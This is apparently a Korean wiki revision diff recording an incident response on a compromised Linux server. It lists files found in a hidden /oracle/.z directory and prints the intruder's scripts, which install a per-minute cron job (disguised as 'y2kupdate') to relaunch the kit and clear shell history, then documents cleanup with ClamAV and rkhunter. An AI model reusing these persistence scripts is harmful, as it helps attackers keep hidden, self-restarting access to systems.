사용자 도구

사이트 도구


secu002

차이

문서의 선택한 두 판 사이의 차이를 보여줍니다.

차이 보기로 링크

secu002 [2015/02/03 11:33]
minetech
secu002 [2015/02/09 11:02] (현재)
minetech
줄 112: 줄 112:
 ifconfig ifconfig
 exit exit
 +</​file>​
 +
 +
 +Bad file list
 +<​file>​
 +[root@ ??]# ls -al
 +합계 1616
 +drwxr-xr-x ​ 3 oracle dba    4096  2월  6 11:24 .
 +drwxr-x--- 29 root   ​root ​  ​4096 ​ 2월  5 16:55 ..
 +-rwxr-xr-x ​ 1 oracle dba     ​270 ​ 1월 30 13:23 1.user
 +-rw-r--r-- ​ 1 oracle dba  955701 ​ 9월 25  2013 Cimmer.seen
 +-rw-r--r-- ​ 1 oracle dba       ​0 ​ 1월 30 13:23 Enid.seen
 +-rwxr-xr-x ​ 1 oracle dba      34  1월 29 21:08 LinkEvents
 +-rwxr-xr-x ​ 1 oracle dba     323 10월 13  2001 autorun
 +-rwxr-xr-x ​ 1 oracle dba  492135 ​ 3월  3  2005 bash
 +-rw-r--r-- ​ 1 oracle dba   ​91385 ​ 2월 20  2013 br2.seen
 +-rwxr-xr-x ​ 1 oracle dba      67  3월 31  2005 cron
 +-rw-r--r-- ​ 1 oracle dba      47 12월 14  2012 cron.d
 +-rw-r--r-- ​ 1 oracle dba      11 12월 14  2012 m.dir
 +-rwxr-xr-x ​ 1 oracle dba   ​22882 ​ 5월 15  2003 m.help
 +-rwxr-xr-x ​ 1 oracle dba    1043  1월 30 13:23 m.lev
 +-rw------- ​ 1 oracle dba       ​5 ​ 1월 29 21:08 m.pid
 +-rw-r--r-- ​ 1 oracle dba     ​967 ​ 1월 30 13:23 m.ses
 +-rwxr-xr-x ​ 1 oracle dba    1155 11월 24  2012 m.set
 +drwxr-xr-x ​ 2 oracle dba    4096  2월  6 11:23 r
 +-rwxr-xr-x ​ 1 oracle dba      44 10월 13  2001 run
 +-rw-r--r-- ​ 1 oracle dba      45  7월 16  2010 shel
 +-rwxr--r-- ​ 1 oracle dba     160 12월 14  2012 y2kupdate
 +
 +</​file>​
 +
 +File Name : m.set 
 +
 +<​file>​
 +#!/bin/sh
 +if test -r /​oracle/​.z/​m.pid;​ then
 +pid=$(cat /​oracle/​.z/​m.pid)
 +if $(kill -CHLD $pid >/​dev/​null 2>&​1)
 +then
 +exit 0
 +fi
 +fi
 +cd /oracle/.z
 +./run &>/​dev/​null
 +</​file>​
 +
 +File Name : run
 +<​file>​
 +#!/bin/sh
 +export PATH=:PATH
 +bash
 +history -c
 +</​file>​
 +
 +File Name : autorun
 +<​file>​
 +#!/bin/sh
 +pwd > m.dir
 +dir=$(cat m.dir)
 +echo "* * * * * $dir/​y2kupdate >/​dev/​null 2>&​1"​ > cron.d
 +crontab cron.d
 +crontab -l | grep y2kupdate
 +echo "#​!/​bin/​sh
 +if test -r $dir/m.pid; then
 +pid=\$(cat $dir/m.pid)
 +if \$(kill -CHLD \$pid >/​dev/​null 2>&​1)
 +then
 +exit 0
 +fi
 +fi
 +cd $dir
 +./run &>/​dev/​null"​ > y2kupdate
 +chmod u+x y2kupdate
 +
 +</​file>​
 +
 +File Name : y2kupdate
 +<​file>​
 +#!/bin/sh
 +if test -r /​oracle/​.z/​m.pid;​ then
 +pid=$(cat /​oracle/​.z/​m.pid)
 +if $(kill -CHLD $pid >/​dev/​null 2>&​1)
 +then
 +exit 0
 +fi
 +fi
 +cd /oracle/.z
 +./run &>/​dev/​null
 +
 +</​file>​
 +
 +File Name : cron.d
 +<​file>​
 +* * * * * /​oracle/​.z/​y2kupdate >/​dev/​null 2>&1
 </​file>​ </​file>​
  
줄 171: 줄 265:
  
 ==== [조치 내역] ==== ==== [조치 내역] ====
 +
 +  * ClamAV 설치
 +
 +<​file>​
 +4.1 ClamAV 설치
 +[root@egovWas2 ~]# yum install clamav clamd
 +
 +4.2 ClamAV 바이러서 데이터베이스 업데이트
 +[root@egovWas2 ~]# freshclam
 +
 +4.3 검사
 +
 +- home 디렉토리와 그 하위 디렉토리를 검사
 +[root@egovWas2 ~]# clamscan -r /home
 +
 +- clamscan 결과를 로그 파일로 남기고 싶으면
 +[root@egovWas2 ~]# clamscan -r /home -l clamscan.log
 +
 +[root@egovWas2 ~]# 감염된 파일을 특정 디렉토리로 이동하려면
 +[root@egovWas2 ~]# clamscan -r /home --move=DIRECTORY
 +</​file>​
 +
 +
 +  * RootKit Hunter 설치 및 매일 실행하는 cron 등록 ​
 +<​file>​
 +
 +5.1 rkhunter 설치
 +[root@egovWas2 ~]# yum list | grep rkhunter
 +
 +[root@egovWas2 ~]# yum install rkhunter
 +
 +5.2 Update rkhunter
 +To check the currently installed version enter the following
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --versioncheck
 +
 +Run the updater by issuing the following command:
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --update
 +
 +With our database files refreshed, we need to tell rkhunter to check the current values and store them as known-good values:
 +[root@egovWas2 ~]# /​usr/​local/​bin/​rkhunter --propupd
 +
 +5.3 Manual Scan
 +Step 1] 시작하기 전에 rkhunter 가 사용할 DB를 생성
 +
 +[root@egovWas2 ~]# rkhunter --propupd
 +
 +Step 2] 실행명령어
 +[root@egovWas2 ~]# rkhunter --check ​
 +또는 ​
 +[root@egovWas2 ~]# rkhunter -c --rwo  // warning메세지,​비정상적인 결과만 출력
 +
 +5.4 Automate Rootkit Hunter
 +
 +[root@egovWas2 ~]# touch /​etc/​cron.daily/​rkhunter.sh
 +[root@egovWas2 ~]# chmod 755 /​etc/​cron.daily/​rkhunter.sh
 +[root@egovWas2 ~]# vi /​etc/​cron.daily/​rkhunter.sh
 +
 +#!/bin/sh
 +(
 +/​usr/​local/​bin/​rkhunter --versioncheck
 +/​usr/​local/​bin/​rkhunter --update
 +/​usr/​local/​bin/​rkhunter --cronjob --report-warnings-only
 +) | /bin/mail -s '​rkhunter Daily Scan Report (PutYourServerNameHere)'​ your@email.here
 +
 +</​file>​
  
 rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다. rootkit 감염된 파일을 살펴보면 등록되지 않은 사용자와 그룹으로 만들어져 있고 해당 파일들의 속성이 변경되어 삭제할 수 없게 되어있다. 따라서 그 속성을 먼저 변경해 줘야 한다.
줄 322: 줄 481:
  
 </​file>​ </​file>​
- 
  
  
secu002.1422930804.txt.gz · 마지막으로 수정됨: 2015/02/03 11:33 저자 minetech